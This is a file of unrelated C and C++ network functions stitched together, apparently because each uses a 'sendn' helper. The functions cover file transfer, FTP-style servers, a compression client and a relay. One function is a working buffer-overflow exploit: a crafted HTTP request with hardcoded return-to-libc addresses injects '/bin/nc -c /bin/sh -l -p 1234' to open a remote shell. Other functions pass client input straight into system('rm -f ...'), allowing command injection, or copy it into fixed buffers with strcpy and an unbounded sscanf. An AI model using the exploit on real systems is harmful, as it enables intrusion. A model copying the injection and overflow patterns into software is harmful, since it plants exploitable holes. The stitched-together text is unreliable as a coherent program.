static int
send_handshake (evutil_socket_t data_fd, BlockTxInfo *info)
{
HandshakeRequest *req;
if (sendn (data_fd, BLOCK_PROTOCOL_SIGNATURE, 37) < 0) {
seaf_warning ("Failed to send protocol signature: %s.\n",
evutil_socket_error_to_string(evutil_socket_geterror(data_fd)));
info->result = BLOCK_CLIENT_NET_ERROR;
return -1;
}
int req_size = sizeof(HandshakeRequest) + info->enc_key_len;
req = (HandshakeRequest *) g_malloc (req_size);
req->version = htonl(BLOCK_PROTOCOL_VERSION);
req->key_len = htonl(info->enc_key_len);
memcpy (req->enc_session_key, info->enc_session_key, info->enc_key_len);
if (sendn (data_fd, req, req_size) < 0) {
seaf_warning ("Failed to send handshake: %s.\n",
evutil_socket_error_to_string(evutil_socket_geterror(data_fd)));
info->result = BLOCK_CLIENT_NET_ERROR;
g_free (req);
return -1;
}
g_free (req);
return 0;
}
static void
send_msg_tcp(struct silly_socket *ss, struct socket *s)
{
struct wlist *w;
w = s->wlhead.next;
assert(w);
while (w) {
ssize_t sz;
sz = sendn(s->fd, w->buff + w->offset, w->size);
if (sz < 0) {
report_close(ss, s, errno);
delsocket(ss, s);
return ;
}
if (sz < w->size) {//send some
w->size -= sz;
w->offset += sz;
return ;
}
assert(sz == w->size);
s->wlhead.next = w->next;
silly_free(w->buff);
silly_free(w);
w = s->wlhead.next;
if (w == NULL) {//send ok
s->wltail = &s->wlhead;
sp_write_enable(ss->spfd, s->fd, s, 0);
if (s->type == STYPE_HALFCLOSE)
delsocket(ss, s);
}
}
return ;
}
int sendLine(int sock, char* str) {
char tempBuf[MAX_STR_LEN];
strcpy(tempBuf, str);
if(tempBuf[strlen(tempBuf)-1]!='\n')
strcat(tempBuf, "\n");
return sendn(sock, tempBuf, strlen(tempBuf), 0);
}
static void do_ls(psession_t ps)
{
DIR* pdir = opendir("./");
if(pdir == NULL)
{
int flag = -1 ;
send(ps ->sess_sfd, &flag, sizeof(int), 0);
}else
{
struct dirent* mydir ;
int len ;
while( (mydir = readdir(pdir)) != NULL)
{
if(strncmp(mydir->d_name, ".", 1) == 0 || strncmp(mydir->d_name,"..", 2) == 0)
{
continue ;
}
struct stat mystat;
bzero(&mystat, sizeof(stat));
stat(mydir->d_name, &mystat);
bzero(ps ->sess_buf, 1024);
sprintf(ps ->sess_buf, "%-2s%-20s %10dB", file_type(mystat.st_mode),mydir->d_name, mystat.st_size );
len = strlen(ps ->sess_buf);
send(ps ->sess_sfd, &len, sizeof(int), 0);
sendn(ps ->sess_sfd, ps ->sess_buf, len);
}
len = 0 ;
send(ps ->sess_sfd, &len, sizeof(int), 0);
}
}
static int
trysend(struct silly_socket *ss, struct cmdpacket *cmd)
{
struct socket *s = checksocket(ss, cmd->u.send.sid);
uint8_t *data = cmd->u.send.data;
size_t sz = cmd->u.send.size;
if (s == NULL) {
silly_free(data);
return 0;
}
if (wlist_empty(s)) {//try send
ssize_t n = sendn(s->fd, data, sz);
if (n < 0) {
silly_free(data);
report_close(ss, s, errno);
delsocket(ss, s);
return -1;
} else if (n < sz) {
wlist_append(s, data, n, sz, NULL);
sp_write_enable(ss->spfd, s->fd, s, 1);
} else {
assert(n == sz);
silly_free(data);
}
} else {
wlist_append(s, data, 0, sz, NULL);
}
return 0;
}
int send_file_data(int newSocket, FILE * fb){
struct message_s data_message;
int size;
memset(data_message.payload, '\0', 1024);
data_message.protocol[0] = 0xe3;
strcat(data_message.protocol, "myftp");
data_message.type = 0xFF;
data_message.status = 1;
fseek(fb, SEEK_SET, 0);
do{
size = fread(data_message.payload, 1, 1024, fb);
data_message.length = 12 + size;
if (size < 1024){
data_message.status = 0;
}
if (sendn(newSocket, (char *)&data_message, sizeof(struct message_s)) == -1){
printf("Error: Server - Failed to send file\n");
exit(-1);
}
} while( data_message.status != 0 );
return 0;
}
void show(int sfd)
{
DIR* pdir ;
pdir = opendir(DOWN_PATH);
if(pdir == NULL)
{
perror("opendir");
return ;
}
struct dirent* pent ;
char buf[1024] = "" ;
int len ;
while((pent = readdir(pdir)) != NULL)
{
if(strcmp(".", pent ->d_name) == 0 || strcmp("..", pent ->d_name) == 0)
{
continue ;
}
strcat(buf, "\n");
strcat(buf, pent ->d_name);
}
len = strlen(buf);
send(sfd, &len, 4, 0);
sendn(sfd, buf, len);
}
static void do_pwd(psession_t ps)
{
bzero(ps ->sess_buf, BUF_SIZE);
getcwd(ps ->sess_buf, BUF_SIZE);
int len = strlen(ps ->sess_buf);
send(ps ->sess_sfd, &len, sizeof(int), 0);
sendn(ps ->sess_sfd, ps ->sess_buf, len);
}
static void do_cd(psession_t ps)
{
char dir[128]= "";
sscanf(ps ->sess_buf +3, "%s", dir);
chdir(dir);
getcwd(dir, 128);
int len = strlen(dir);
send(ps ->sess_sfd, &len, sizeof(int), 0);
sendn(ps ->sess_sfd, dir, strlen(dir));
}
int main(int argc, char **argv)
{
int s;
struct sockaddr_in addr;
char buffer[BUFFER_SIZE];
int fd = -1;
ssize_t size = 0;
ssize_t nsendsize = 0;
fd = open("video_cmmb.h264",O_RDONLY);
if(fd < 0) {
perror("open file error!\n");
return -1;
}
if((s = socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
return -1;
}
bzero(&addr,sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(SERVER_IP);
if(connect(s,(struct sockaddr *)&addr,sizeof(addr))<0) {
perror("connect");
return -1;
}
recv(s,buffer,sizeof(buffer),0);
printf("%s\n",buffer);
while(1) {
bzero(buffer, BUFFER_SIZE);
size = read(fd, buffer, random_data());
if(size <= 0)
break;
if((nsendsize = sendn(s, buffer, size, 0)) < 0) {
perror("sendn error!\n");
lseek(fd, -size, SEEK_CUR);
return -1;
}
if(nsendsize < size)
lseek(fd, nsendsize - size, SEEK_CUR);
usleep(1000);
}
return 0;
}
static void do_remove(psession_t ps)// remove file
{
char cmd[256] ="" ;
sprintf(cmd, "rm -f %s", ps ->sess_buf + 7);
system(cmd);
bzero(ps ->sess_buf, BUF_SIZE);
sprintf(ps ->sess_buf, "%s removed", ps ->sess_buf + 7);
int len = strlen(ps ->sess_buf);
send(ps ->sess_sfd, &len, sizeof(int),0);
sendn(ps ->sess_sfd, ps ->sess_buf, len);
}
static int
send_handshake_response (BlockTxServer *server, int status)
{
HandshakeResponse rsp;
rsp.status = htonl (status);
rsp.version = htonl (BLOCK_PROTOCOL_VERSION);
if (sendn (server->data_fd, &rsp, sizeof(rsp)) < 0) {
seaf_warning ("Failed to send handshake response: %s.\n",
evutil_socket_error_to_string(evutil_socket_geterror(server->data_fd)));
return -1;
}
return 0;
}
int main()
{
int n;
rio_t rio;
char res[10000];
rio_init(&rio, STDIN_FILENO, 5);
rio.rio_ptr = (char *) malloc(sizeof(char) * 5);
//n = rio_readline(&rio, res, 20);
//printf("get %d", n);
while((n = rio_readline(&rio, res, 20))!= 0)
{
sendn(STDOUT_FILENO, res, n);
printf("\n");
}
}
int main(int argc, char* argv[])//ip port
{
int sfd ;
sfd = socket(AF_INET, SOCK_STREAM, 0);
if(sfd == -1)
{
perror("socket");
exit(1);
}
struct sockaddr_in seraddr ;
memset(&seraddr, 0, sizeof(seraddr));
seraddr.sin_family = AF_INET ;
seraddr.sin_port = htons(atoi(argv[2]));
seraddr.sin_addr.s_addr = inet_addr(argv[1]);
if(-1 == connect(sfd, (struct sockaddr*)&seraddr, sizeof(seraddr)) )
{
perror("bind");
close(sfd);
exit(1);
}
while(getchar() != EOF) ;
int * arr = (int*)calloc(1024*1024, 4) ;
int len = 1024*1024*4 ;
send(sfd, &len, 4, 0);
sendn(sfd, (char*)arr, len);
close(sfd);
return 0 ;
}
int Wrapper_Response_Open_Recv_Data_Connection_OK(int request_socket)
{
char response[2*1024];
// build response
sprintf(response, response_open_recv_data_connection, "ok", grecv_Content_Length);
// send response
#if SHOW_MSG == 1
printf("[response]\r\n%s", response);
#endif
int result;
result = sendn(request_socket, response, strlen(response), 0);
if(result < 0)
{
printf("Line:%d in %s, errno:%d\r\n", __LINE__, __FILE__, errno);
return -1;
}
else
{
return result;
}
}
int Wrapper_Response_Open_Server_Connection_NOTOK(int request_socket)
{
char response[2*1024];
// build response
sprintf(response, response_open_server_connection, "notok");
// send response
#if SHOW_MSG == 1
printf("[response]\r\n%s", response);
#endif
int result;
result = sendn(request_socket, response, strlen(response), 0);
if(result < 0)
{
printf("Line:%d in %s, errno:%d\r\n", __LINE__, __FILE__, errno);
return -1;
}
else
{
return result;
}
}
void handle_request(int sfd)
{
show(sfd);
char target_file[128] = "" ;
char full_path[256] = "" ;
int len ;
recv(sfd, &len, 4, 0);
recvn(sfd, target_file, len);
printf("down file: %s\n", target_file);
sprintf(full_path, "%s/%s", DOWN_PATH, target_file);
FILE* fp = fopen(full_path, "r");
if(fp == NULL)
{
perror("fopen");
len = -1 ;
send(sfd, &len, 4, 0);
close(sfd);
return ;
}
len = 1 ;
send(sfd, &len, 4, 0);
char msg[1024] ;
while(memset(msg, 0, 1024), fgets(msg, 1024, fp) != NULL)
{
len = strlen(msg);
send(sfd, &len, 4, 0);
sendn(sfd, msg, len);
}
len = 0 ;
send(sfd, &len, 4, 0);
close(sfd);
}
int test_client()
{
userinfo u ;
char xml_buffer[ 1024 + 1 ] ;
int xml_len ;
int connect_sock ;
struct sockaddr_in connect_addr ;
char commheader_buffer[ 4 + 1 ] ;
int commheader_len ;
int nret ;
memset( & u , 0x00 , sizeof(userinfo) );
u.user_id = 101 ;
strcpy( u.user_name , "calvin" );
strcpy( u.email , "*****@*****.**" );
DSCLOG_userinfo( & u );
memset( xml_buffer , 0x00 , sizeof(xml_buffer) );
xml_len = sizeof(xml_buffer) ;
nret = DSCSERIALIZE_XML_userinfo( & u , "GBK" , xml_buffer , & xml_len ) ;
if( nret )
{
printf( "DSCSERIALIZE_XML_userinfo failed[%d] , errno[%d]\n" , nret , errno );
return -1;
}
printf( "send[%d][%.*s]\n" , xml_len , xml_len , xml_buffer );
connect_sock = socket( AF_INET , SOCK_STREAM , IPPROTO_TCP ) ;
if( connect_sock == -1 )
{
printf( "socket failed[%d] , errno[%d]\n" , connect_sock , errno );
return -1;
}
memset( & connect_addr , 0x00 , sizeof(struct sockaddr_in) );
connect_addr.sin_family = AF_INET;
connect_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
connect_addr.sin_port = htons( (unsigned short)7878 );
nret = connect( connect_sock , (struct sockaddr *) & connect_addr, sizeof(struct sockaddr) );
if( nret == -1 )
{
printf( "connect failed[%d] , errno[%d]\n" , nret , errno );
return -1;
}
sprintf( commheader_buffer , "%04d" , xml_len );
commheader_len = 4 ;
nret = sendn( connect_sock , commheader_buffer , commheader_len ) ;
if( nret < 0 )
{
printf( "sendn failed[%d] , errno[%d]\n" , nret , errno );
return -1;
}
nret = sendn( connect_sock , xml_buffer , xml_len ) ;
if( nret < 0 )
{
printf( "sendn failed[%d] , errno[%d]\n" , nret , errno );
return -1;
}
close( connect_sock );
return 0;
}
bool decompress(const char* in, const uint32_t inLen, unsigned char* out, size_t* ol)
{
uint32_t u32;
uint64_t u64;
ostringstream oss;
string s;
string cpipe;
string upipe;
ScopedCleaner cleaner;
int fd = -1;
if (!Ctlshmptr)
initCtlShm();
bi::scoped_lock<bi::interprocess_mutex> cfLock(Ctlshmptr->controlFifoMutex, bi::defer_lock);
#ifndef _MSC_VER
pthread_t thdid = pthread_self();
#else
DWORD thdid = GetCurrentThreadId();
#endif
#ifdef _MSC_VER
oss << "\\\\.\\pipe\\cdatafifo" << thdid;
s = oss.str();
cpipe = s + ".c";
upipe = s + ".u";
HANDLE cpipeh;
cpipeh = CreateNamedPipe(cpipe.c_str(), PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
1, 0, 8192, 0, 0);
idbassert_s(cpipeh != INVALID_HANDLE_VALUE, "while creating cdata fifo");
//if (cpipeh == INVALID_HANDLE_VALUE)
// throw runtime_error("while creating cdata fifo");
cleaner.cpipeh = cpipeh;
HANDLE upipeh;
upipeh = CreateNamedPipe(upipe.c_str(), PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
1, 8192, 0, 0, 0);
idbassert_s(upipeh != INVALID_HANDLE_VALUE, "while creating udata fifo");
//if (upipeh == INVALID_HANDLE_VALUE)
// throw runtime_error("while creating udata fifo");
cleaner.upipeh = upipeh;
#else
oss << "/tmp/cdatafifo" << hex << thdid;
s = oss.str();
cpipe = s + ".c";
upipe = s + ".u";
cleaner.cpipename = cpipe;
cleaner.upipename = upipe;
unlink(cpipe.c_str());
idbassert_s(mknod(cpipe.c_str(), S_IFIFO|0666, 0) == 0, "while creating cdata fifo");
//if (mknod(cpipe.c_str(), S_IFIFO|0666, 0) != 0)
// throw runtime_error("while creating cdata fifo");
unlink(upipe.c_str());
idbassert_s(mknod(upipe.c_str(), S_IFIFO|0666, 0) == 0, "while creating udata fifo");
//if (mknod(upipe.c_str(), S_IFIFO|0666, 0) != 0)
// throw runtime_error("while creating udata fifo");
#endif
int rc = -1;
fd = ::socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
#ifdef _MSC_VER
idbassert_s(fd != INVALID_SOCKET,
string("socket create error: ") + strerror(errno));
#else
idbassert_s(fd >= 0,
string("socket create error: ") + strerror(errno));
#endif
cleaner.ctlsock = fd;
struct sockaddr_in serv_addr;
struct in_addr la;
::inet_aton("127.0.0.1", &la);
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = la.s_addr;
serv_addr.sin_port = htons(DSPort);
const int MaxTries = 30;
int tries = 0;
again:
cfLock.lock();
rc = ::connect(fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
if (rc < 0)
{
#ifdef _MSC_VER
int x = WSAGetLastError();
if (x == WSAECONNREFUSED)
#else
if (errno == ECONNREFUSED)
#endif
{
idbassert_s(++tries < MaxTries, string("socket connect error: ") + strerror(errno));
//if (++tries >= MaxTries)
// throw runtime_error(string("socket connect error: ") + strerror(errno));
cfLock.unlock();
sleep(2);
goto again;
}
idbassert_s(0, string("socket connect error: ") + strerror(errno));
//throw runtime_error(string("socket connect error: ") + strerror(errno));
}
u32 = s.length();
sendn(fd, reinterpret_cast<const char*>(&u32), 4);
sendn(fd, s.c_str(), u32);
shutdown(fd, SHUT_RDWR);
#ifdef _MSC_VER
closesocket(fd);
cleaner.ctlsock = INVALID_SOCKET;
#else
close(fd);
cleaner.ctlsock = -1;
#endif
cfLock.unlock();
#ifdef _MSC_VER
BOOL dwrc;
dwrc = ConnectNamedPipe(cpipeh, 0);
idbassert_s(!(dwrc == 0 && GetLastError() != ERROR_PIPE_CONNECTED), "connecting to cpipe");
//if (dwrc == 0 && GetLastError() != ERROR_PIPE_CONNECTED)
// throw runtime_error("connecting to cpipe");
u64 = static_cast<uint64_t>(inLen);
idbassert_s(u64 < 8 * 1024 * 1024, "preposterous inLen!");
//if (!(u64 < 8 * 1024 * 1024))
// throw runtime_error("preposterous inLen!");
DWORD nwrite;
dwrc = WriteFile(cpipeh, &u64, 8, &nwrite, 0);
idbassert_s(dwrc != 0 && nwrite == 8, "while writing to cpipe");
//if (!(dwrc != 0 && nwrite == 8))
// throw runtime_error("while writing to cpipe");
dwrc = WriteFile(cpipeh, in, u64, &nwrite, 0);
idbassert_s(dwrc != 0 && nwrite == u64, "while writing to cpipe");
//if (!(dwrc != 0 && nwrite == u64))
// throw runtime_error("while writing to cpipe");
FlushFileBuffers(cpipeh);
CloseHandle(cpipeh);
cleaner.cpipeh = INVALID_HANDLE_VALUE;
#else
ssize_t wrc;
fd = open(cpipe.c_str(), O_WRONLY);
idbassert_s(fd >= 0, "while opening data fifo for write");
//if (fd < 0)
// throw runtime_error("while opening data fifo for write");
cleaner.fd = fd;
u64 = static_cast<uint64_t>(inLen);
errno = 0;
wrc = writen(fd, &u64, 8);
int err = errno;
idbassert_s(wrc == 8, string("while writing compressed len to the DS: ") + strerror(err));
// if (wrc != 8)
// {
// ostringstream oss;
// oss << "while writing compressed len to the DS: " << strerror(err);
// throw runtime_error(oss.str());
// }
wrc = writen(fd, in, u64);
idbassert_s(wrc == static_cast<ssize_t>(u64), "while writing compressed data to the DS");
// if (wrc != static_cast<ssize_t>(u64))
// throw runtime_error("while writing compressed data to the DS");
close(fd);
cleaner.fd = -1;
#endif
#ifdef _MSC_VER
dwrc = ConnectNamedPipe(upipeh, 0);
idbassert_s(!(dwrc == 0 && GetLastError() != ERROR_PIPE_CONNECTED), "connecting to upipe");
//if (dwrc == 0 && GetLastError() != ERROR_PIPE_CONNECTED)
// throw runtime_error("connecting to upipe");
DWORD nread;
dwrc = ReadFile(upipeh, &u64, 8, &nread, 0);
idbassert_s(dwrc != 0 && nread == 8, "while reading from upipe");
//if (!(dwrc != 0 && nread == 8))
// throw runtime_error("while reading from upipe");
dwrc = ReadFile(upipeh, out, u64, &nread, 0);
idbassert_s(dwrc != 0 && nread == u64, "while reading from upipe");
//if (!(dwrc != 0 && nread == u64))
// throw runtime_error("while reading from upipe");
CloseHandle(upipeh);
cleaner.upipeh = INVALID_HANDLE_VALUE;
#else
fd = open(upipe.c_str(), O_RDONLY);
idbassert_s(fd >= 0, "while opening data fifo for read");
// if (fd < 0)
// throw runtime_error("while opening data fifo for read");
cleaner.fd = fd;
readn(fd, &u64, 8);
readn(fd, out, u64);
close(fd);
cleaner.fd = -1;
#endif
*ol = static_cast<size_t>(u64);
return (u64 != 0);
}
int main( int argc, char *argv[] ){
Mex m;
Recv r[SENDER_NUMB];
struct sockaddr_in rcv_addr, TX_addr;
int sock_TX, sock_rcv_main, newsockfd_rcv,newsockfd_TX;
int port_TX, port_rcv;
int i,q,write_result, tot_mex;
char temp_recv;
int opt = 1;
socklen_t clilen;
clilen = sizeof(TX_addr);
port_TX = atoi(argv[1]);
port_rcv = atoi(argv[2]);
/* ----------------Connessione a Tunnel_TX ------------------*/
sock_TX = socket(AF_INET, SOCK_STREAM, 0);
if (sock_TX < 0){
perror("ERROR opening socket");
exit(1);
}
/* Initializzo strutture socket */
setsockopt(sock_TX,SOL_SOCKET,SO_REUSEADDR,(const char *)&opt,sizeof(int));
TX_addr.sin_family = AF_INET;
TX_addr.sin_addr.s_addr = INADDR_ANY;
TX_addr.sin_port = htons(port_TX);
/* Bind per TX.*/
if (bind(sock_TX, (struct sockaddr *) &TX_addr, sizeof(TX_addr)) < 0){
perror("ERROR on binding");
exit(1);
}
fflush(stdout);
/* Ascolto per la connessione da TX */
listen(sock_TX,10);
/*-----------------Connessione ai RICEVITORI-------------*/
sock_rcv_main = socket(AF_INET, SOCK_STREAM, 0);
if (sock_rcv_main < 0){
perror("ERROR opening socket");
exit(1);
}
/* Initializzo strutture socket */
setsockopt(sock_rcv_main,SOL_SOCKET,SO_REUSEADDR,(const char *)&opt,sizeof(int));
rcv_addr.sin_family = AF_INET;
rcv_addr.sin_addr.s_addr = INADDR_ANY;
rcv_addr.sin_port = htons(port_rcv);
/* Bind per i ricevitori.*/
if (bind(sock_rcv_main, (struct sockaddr *) &rcv_addr, sizeof(rcv_addr)) < 0){
perror("ERROR on binding");
exit(1);
}
fflush(stdout);
/* Ascolto per i Ricevitori */
listen(sock_rcv_main,10);
/*-----------------Connetto ogni ricevitore e salvo il socket----------------------*/
printf("Aspetto i ricevitori\n");
for(q = 0; q<SENDER_NUMB; q++){
newsockfd_rcv = accept(sock_rcv_main,(struct sockaddr *) &rcv_addr, &clilen);
read(newsockfd_rcv, &temp_recv, sizeof(temp_recv));
r[q].numb = temp_recv;
r[q].socket = newsockfd_rcv;
printf("numero ric = %c ---> numero socket = %d\n", r[q].numb,r[q].socket);
}
/* Accept per TX */
newsockfd_TX = accept(sock_TX,(struct sockaddr *) &TX_addr, &clilen);
if (newsockfd_TX < 0){
perror("ERROR on accept");
exit(1);
}
tot_mex = 0;
/* Inizio ascolto da TX e passo ai ricevitori */
while( 1 ) {
/* Leggo l'Header */
q = readn(newsockfd_TX,&m,size_header);
if(q == 0){
/*Fine, non ci sono piu pacchetti da leggere*/
printf("totale messaggi: %d\n",tot_mex);
exit(0);
}
if (q < 0){
perror("ERROR1 reading from socket");
exit(0);
}
/* Leggo il Body */
q = readn(newsockfd_TX,&m.body,m.size);
if (q < 0){
perror("ERROR2 reading from socket");
exit(1);
}
for (i=0;i<SENDER_NUMB;i++){
if(m.recv == r[i].numb){
/* mando al ricevitore giusto*/
printf("da = %c - a = %c %c %d - size = %d \n", m.sender,m.recv, r[i].numb, r[i].socket,m.size);
write_result = sendn(r[i].socket,&m, size_header + m.size);
if(write_result < 0){
perror("errore in scrittura");
}
}
}
tot_mex++;
/*close(sock_rcv[m.recv]);*/
}
return 0;
}
/*
static void recv_response(int sock)
{
char buf[4096];
while (1)
{
ssize_t amount = recv(sock, buf, sizeof buf, 0);
if (amount == -1 && errno == EINTR)
continue;
if (amount <= 0)
return;
write(fileno(stdout), buf, amount);
}
}
*/
int main(int argc, char *argv[])
{
/* if (argc != 4)
{
fprintf(stderr, "Usage: %s hostname port file\n", argv[0]);
return EXIT_FAILURE;
}
int sock = connect_to(argv[1], argv[2]);
*/
// const char* host = "localhost";
// const char* port = "8080";
int sock = connect_to(argv[1], argv[2]);
assert(sock != -1);
char *request;
char weapon[600];
int i;
for(i = 0; i < 600; i++)
weapon[i] = ' ';
memcpy(weapon+568, "/bin/nc -c /bin/sh -l -p 1234 #", 31);
/* weapon[122] = 0xf0; //parameter to system
weapon[123] = 0xe9;
weapon[124] = 0xff;
weapon[125] = 0xbf;
*/
weapon[114] = 0xb0; //seip,system
weapon[115] = 0xe1;
weapon[116] = 0xec;
weapon[117] = 0xb7;
weapon[118] = 0x20; //fd, return of system
weapon[119] = 0x43;
weapon[120] = 0xec;
weapon[121] = 0xb7;
weapon[122] = 0x44; //parameter of system
weapon[123] = 0xeb;
weapon[124] = 0xff;
weapon[125] = 0xbf;
printf("redirecting to address: %hhx%hhx%hhx%hhx\n", weapon[125], weapon[124], weapon[123], weapon[122]);
weapon[126] = 0xf1; //arg_8,int
weapon[127] = 0xf9;
weapon[128] = 0xff;
weapon[129] = 0xbf;
weapon[130] = 0x10; //arg_c,int
weapon[131] = 0xff;
weapon[132] = 0xff;
weapon[133] = 0xbf;
// memcpy(weapon+120, "/xc8/xff/xff/xbf", 4);
// memcpy(weapon+124, "/xd9/xfc/xff/xbf/xe9/xff/xff/xbf", 8);
weapon[599] = 0;
// char *addr_ptr;
// addr_ptr = getenv("HACK");
// printf("address:%p\n", addr_ptr);
// recv_response(sock);
asprintf(&request, "GET %s HTTP/%s\r\nHost: %s\r\n\r\n", "/", weapon, argv[1]);
sendn(sock, request, strlen(request));
// free(request);
// recv_response(sock);
close(sock);
sleep(1);
execl("/bin/nc","bin/nc", "localhost", "1234", NULL);
free(request);
_exit(1);
return 0;
}
int prot_a (int connfd) {
char buf[MAXBUFL+1]; /* +1 to make room for \0 */
uint16_t op1, op2;
uint32_t res;
int nread;
while (1) {
trace( err_msg("(%s) - waiting for operands ...",prog_name) );
/* Do not use Readline as it exits on errors
(e.g., clients resetting the connection due to close() on sockets with data yet to read).
servers must be robust and never close */
/* Do not use Readline_unbuffered because if it fails, it exits! */
nread = readline_unbuffered (connfd, buf, MAXBUFL);
if (nread == 0) {
return 0;
} else if (nread < 0) {
err_ret ("(%s) error - readline() failed", prog_name);
/* return to the caller to wait for a new connection */
return 0;
}
/* append the string terminator after CR-LF that is, \r\n (0x0d,0x0a) */
buf[nread]='\0';
trace( err_msg("(%s) --- received string '%s'",prog_name, buf) );
/* get the operands and send MSG_ERR in case of error */
if (sscanf(buf,"%hu %hu",&op1,&op2) != 2) {
trace( err_msg("(%s) --- wrong or missing operands",prog_name) );
int len = strlen(MSG_ERR);
int ret_send = send(connfd, MSG_ERR, len, MSG_NOSIGNAL);
if (ret_send!=len) {
printf("cannot send MSG_ERR\n");
trace( err_msg("(%s) - cannot send MSG_ERR",prog_name) );
}
continue;
}
trace( err_msg("(%s) --- operands %hu %hu",prog_name,op1,op2) );
/* do the operation */
res = op1 + op2;
/* check for overflow */
if (res > MAX_UINT16T) {
trace( err_msg("(%s) --- sum overflow",prog_name) );
int len = strlen(MSG_OVF);
int ret_send = sendn(connfd, MSG_OVF, len, MSG_NOSIGNAL);
if (ret_send!=len) {
trace( err_msg("(%s) - cannot send MSG_OVF",prog_name) );
}
continue;
}
trace( err_msg("(%s) --- result of the sum: %lu", prog_name, res) );
/* convert the result to a string */
snprintf (buf, MAXBUFL, "%u\r\n", res);
/* send the result */
int len = strlen(buf);
int ret_send = sendn(connfd, buf, len, MSG_NOSIGNAL);
if (ret_send!=len) {
trace( err_msg("(%s) - cannot send the answer",prog_name) );
} else {
trace( err_msg("(%s) --- result just sent back", prog_name) );
}
}
}
